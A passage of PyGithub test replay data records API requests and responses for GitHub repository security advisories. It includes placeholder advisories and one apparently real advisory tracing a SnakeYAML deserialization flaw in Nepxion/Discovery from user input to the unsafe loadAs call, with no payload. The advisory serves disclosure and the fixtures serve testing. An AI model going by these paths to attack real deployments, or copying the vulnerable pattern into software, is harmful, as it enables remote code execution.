ault_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"}},"network_count":0,"subscribers_count":2} https POST api.github.com None /repos/JLLeitschuh/code-sandbox/security-advisories {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"summary": "A test creating a GHSA via the API", "description": "This is a detailed description of this advisories impact and patches.", "cve_id": "CVE-2000-00000", "vulnerabilities": [{"package": {"ecosystem": "npm", "name": "b-package"}, "patched_versions": "4.0.5", "vulnerable_functions": ["function-name"], "vulnerable_version_range": "<=4.0.4"}], "cwe_ids": ["CWE-401", "CWE-502"], "credits": [{"login": "octocat", "type": "analyst"}, {"login": "JLLeitschuh", "type": "reporter"}], "severity": "high"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 12:46:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '4083'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"376385d7a3c5c35218eebdc110e1d5fa3a911158a18559041a40e4258ecbb351"'), ('Last-Modified', 'Tue, 04 Apr 2023 12:46:55 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('Location', 'https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-g45c-2crh-4xmp'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4972'), ('X-RateLimit-Reset', '1680614071'), ('X-RateLimit-Used', '28'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'CCA6:5E9A:1357DE:277AC6:642C1C3F')] {"ghsa_id":"GHSA-g45c-2crh-4xmp","cve_id":"CVE-2000-00000","url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-g45c-2crh-4xmp","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-g45c-2crh-4xmp","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-g45c-2crh-4xmp","type":"GHSA"},{"value":"CVE-2000-00000","type":"CVE"}],"state":"draft","created_at":"2023-04-04T12:46:55Z","updated_at":"2023-04-04T12:46:55Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"b-package"},"vulnerable_version_range":"<=4.0.4","patched_versions":"4.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":null,"score":null},"cwes":[{"cwe_id":"CWE-401","name":"Missing Release of Memory after Effective Lifetime"},{"cwe_id":"CWE-502","name":"Deserialization of Untrusted Data"}],"cwe_ids":["CWE-401","CWE-502"],"credits":[{"login":"octocat","type":"analyst"},{"login":"JLLeitschuh","type":"reporter"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"analyst","state":"pending"},{"user":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"type":"reporter","state":"accepted"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RepositoryAdvisory.testGetAdvisories.txt0000644000175100001660000043775414756101563026312 0ustar00runnerdockerhttps GET api.github.com None /repos/JLLeitschuh/security-research/security-advisories {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 21:59:35 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2f56de9a6e668493a583a01b2bf0ededa567b9fe42e26c812aa724bd9c4e048a"'), ('Last-Modified', 'Thu, 30 Mar 2023 19:31:33 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1680217136'), ('X-RateLimit-Used', '8'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F3CD:09C6:2B9B77:59F703:64260647')] [ { "ghsa_id": "GHSA-wmmh-r9w4-hpxx", "cve_id": "CVE-2050-00000", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx", "summary": "A test creating a GHSA via the API", "description": "This is a detailed description of this advisories impact and patches.", "severity": "high", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": null, "identifiers": [ { "value": "GHSA-wmmh-r9w4-hpxx", "type": "GHSA" }, { "value": "CVE-2050-00000", "type": "CVE" } ], "state": "draft", "created_at": "2023-03-28T21:41:40Z", "updated_at": "2023-03-28T21:41:40Z", "published_at": null, "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "npm", "name": "a-package" }, "vulnerable_version_range": ">= 1.0.2", "patched_versions": "1.0.5", "vulnerable_functions": [ "function-name" ] } ], "cvss": { "vector_string": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H", "score": 7.6 }, "cwes": [ { "cwe_id": "CWE-400", "name": "Uncontrolled Resource Consumption" }, { "cwe_id": "CWE-501", "name": "Trust Boundary Violation" } ], "cwe_ids": [ "CWE-400", "CWE-501" ], "credits": [ { "login": "octocat", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "octocat", "id": 583231, "node_id": "MDQ6VXNlcjU4MzIzMQ==", "avatar_url": "https://avatars.githubusercontent.com/u/583231?v=4", "gravatar_id": "", "url": "https://api.github.com/users/octocat", "html_url": "https://github.com/octocat", "followers_url": "https://api.github.com/users/octocat/followers", "following_url": "https://api.github.com/users/octocat/following{/other_user}", "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", "organizations_url": "https://api.github.com/users/octocat/orgs", "repos_url": "https://api.github.com/users/octocat/repos", "events_url": "https://api.github.com/users/octocat/events{/privacy}", "received_events_url": "https://api.github.com/users/octocat/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "pending" } ] }, { "ghsa_id": "GHSA-wvgm-59wj-rh8h", "cve_id": null, "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wvgm-59wj-rh8h", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wvgm-59wj-rh8h", "summary": "Testing GHSA creation", "description": "Example closed GHSA for testing\r\n", "severity": null, "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": null, "identifiers": [ { "value": "GHSA-wvgm-59wj-rh8h", "type": "GHSA" } ], "state": "closed", "created_at": "2023-01-26T19:33:30Z", "updated_at": "2023-02-02T17:58:59Z", "published_at": null, "closed_at": "2023-02-02T17:58:59Z", "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "", "name": "" }, "vulnerable_version_range": "", "patched_versions": "", "vulnerable_functions": [] } ], "cvss": { "vector_string": null, "score": null }, "cwes": [], "cwe_ids": [], "credits": [], "credits_detailed": [] }, { "ghsa_id": "GHSA-22cq-8f5q-p5g2", "cve_id": "CVE-2022-1471", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-22cq-8f5q-p5g2", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-22cq-8f5q-p5g2", "summary": "Nepxion/Discovery: Remote Code Execution via SnakeYAML Deserialization Gadgets", "description": "### Impact\r\n\r\nRemote Code Execution vulnerability in the \r\n\r\n### Vulnerability\r\n\r\nThis project leverages SnakeYAML to deserialize YAML input into java objects. Unfortunately, this library allows for arbitrary execution of code when deserializing untrusted user input.\r\n\r\n[discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n\r\n
        Yaml snakeYaml = new Yaml();\r\n\r\n        return snakeYaml.loadAs(yaml, clazz);\r\n    }\r\n}
\r\n\r\n*Unsafe deserialization depends on a [user-provided value](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L160-L160).*\r\n\r\n#### Paths\r\n\r\n
\r\nPath with 8 steps\r\n\r\n1. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L160-L160)\r\n
    @ApiOperation(value = \"根据Yaml格式,反解析版本蓝绿灰度发布策略为Json格式\", notes = \"\", response = ResponseEntity.class, httpMethod = \"POST\")\r\n       @ResponseBody\r\n       public ResponseEntity<?> convertVersionRelease(@RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doDeparseVersionReleaseYaml(conditionStrategyYaml);\r\n       }\r\n   
\r\n \r\n2. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L161-L161)\r\n
    @ResponseBody\r\n       public ResponseEntity<?> convertVersionRelease(@RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doDeparseVersionReleaseYaml(conditionStrategyYaml);\r\n       }\r\n   \r\n   
\r\n \r\n3. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L341-L341)\r\n
    }\r\n   \r\n       private ResponseEntity<?> doDeparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           try {\r\n               ConditionStrategy result = strategyResource.deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   
\r\n \r\n4. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L343-L343)\r\n
    private ResponseEntity<?> doDeparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           try {\r\n               ConditionStrategy result = strategyResource.deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   \r\n               return ResponseUtil.getSuccessResponse(result);\r\n   
\r\n \r\n5. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L197-L197)\r\n
\r\n       @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   
\r\n \r\n6. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L198-L198)\r\n
    @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   \r\n   
\r\n \r\n7. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L46-L46)\r\n
    }\r\n   \r\n       public static <T> T fromYaml(String yaml, Class<T> clazz) {\r\n           // 非线程安全\r\n           Yaml snakeYaml = new Yaml();\r\n   
\r\n \r\n8. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n
        Yaml snakeYaml = new Yaml();\r\n   \r\n           return snakeYaml.loadAs(yaml, clazz);\r\n       }\r\n   }
\r\n \r\n\r\n
\r\n\r\n----------------------------------------\r\n\r\n[discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n\r\n
        Yaml snakeYaml = new Yaml();\r\n\r\n        return snakeYaml.loadAs(yaml, clazz);\r\n    }\r\n}
\r\n\r\n*Unsafe deserialization depends on a [user-provided value](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L139-L139).*\r\n\r\n#### Paths\r\n\r\n
\r\nPath with 10 steps\r\n\r\n1. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L139-L139)\r\n
    @ApiOperation(value = \"根据Yaml格式,解析版本蓝绿灰度发布策略为Xml格式\", notes = \"\", response = ResponseEntity.class, httpMethod = \"POST\")\r\n       @ResponseBody\r\n       public ResponseEntity<?> parseVersionRelease(@RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doParseVersionRelease(conditionStrategyYaml);\r\n       }\r\n   
\r\n \r\n2. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L140-L140)\r\n
    @ResponseBody\r\n       public ResponseEntity<?> parseVersionRelease(@RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doParseVersionRelease(conditionStrategyYaml);\r\n       }\r\n   \r\n   
\r\n \r\n3. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L311-L311)\r\n
    }\r\n   \r\n       private ResponseEntity<?> doParseVersionRelease(String conditionStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.parseVersionRelease(conditionStrategyYaml);\r\n   
\r\n \r\n4. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L313-L313)\r\n
    private ResponseEntity<?> doParseVersionRelease(String conditionStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.parseVersionRelease(conditionStrategyYaml);\r\n   \r\n               return ResponseUtil.getSuccessResponse(result);\r\n   
\r\n \r\n5. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L174-L174)\r\n
\r\n       @Override\r\n       public String parseVersionRelease(String conditionStrategyYaml) {\r\n           ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   \r\n   
\r\n \r\n6. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L175-L175)\r\n
    @Override\r\n       public String parseVersionRelease(String conditionStrategyYaml) {\r\n           ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   \r\n           return parseVersionRelease(conditionStrategy);\r\n   
\r\n \r\n7. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L197-L197)\r\n
\r\n       @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   
\r\n \r\n8. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L198-L198)\r\n
    @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   \r\n   
\r\n \r\n9. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L46-L46)\r\n
    }\r\n   \r\n       public static <T> T fromYaml(String yaml, Class<T> clazz) {\r\n           // 非线程安全\r\n           Yaml snakeYaml = new Yaml();\r\n   
\r\n \r\n10. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n
        Yaml snakeYaml = new Yaml();\r\n    \r\n            return snakeYaml.loadAs(yaml, clazz);\r\n        }\r\n    }
\r\n \r\n\r\n
\r\n\r\n----------------------------------------\r\n\r\n[discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n\r\n
        Yaml snakeYaml = new Yaml();\r\n\r\n        return snakeYaml.loadAs(yaml, clazz);\r\n    }\r\n}
\r\n\r\n*Unsafe deserialization depends on a [user-provided value](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L111-L111).*\r\n\r\n#### Paths\r\n\r\n
\r\nPath with 8 steps\r\n\r\n1. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L111-L111)\r\n
    @ApiOperation(value = \"局部订阅方式,根据Yaml格式,重新创建版本蓝绿灰度发布(创建链路智能编排,不创建条件表达式)\", notes = \"\", response = ResponseEntity.class, httpMethod = \"POST\")\r\n       @ResponseBody\r\n       public ResponseEntity<?> recreateVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @PathVariable(value = \"serviceId\") @ApiParam(value = \"服务名\", required = true) String serviceId, @RequestBody @ApiParam(value = \"蓝绿灰度路由策略Yaml\", required = true) String conditionRouteStrategyYaml) {\r\n           return doRecreateVersionRelease(group, serviceId, conditionRouteStrategyYaml);\r\n       }\r\n   
\r\n \r\n2. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L112-L112)\r\n
    @ResponseBody\r\n       public ResponseEntity<?> recreateVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @PathVariable(value = \"serviceId\") @ApiParam(value = \"服务名\", required = true) String serviceId, @RequestBody @ApiParam(value = \"蓝绿灰度路由策略Yaml\", required = true) String conditionRouteStrategyYaml) {\r\n           return doRecreateVersionRelease(group, serviceId, conditionRouteStrategyYaml);\r\n       }\r\n   \r\n   
\r\n \r\n3. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L271-L271)\r\n
    }\r\n   \r\n       private ResponseEntity<?> doRecreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.recreateVersionRelease(group, serviceId, conditionRouteStrategyYaml);\r\n   
\r\n \r\n4. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L273-L273)\r\n
    private ResponseEntity<?> doRecreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.recreateVersionRelease(group, serviceId, conditionRouteStrategyYaml);\r\n   \r\n               return ResponseUtil.getSuccessResponse(result);\r\n   
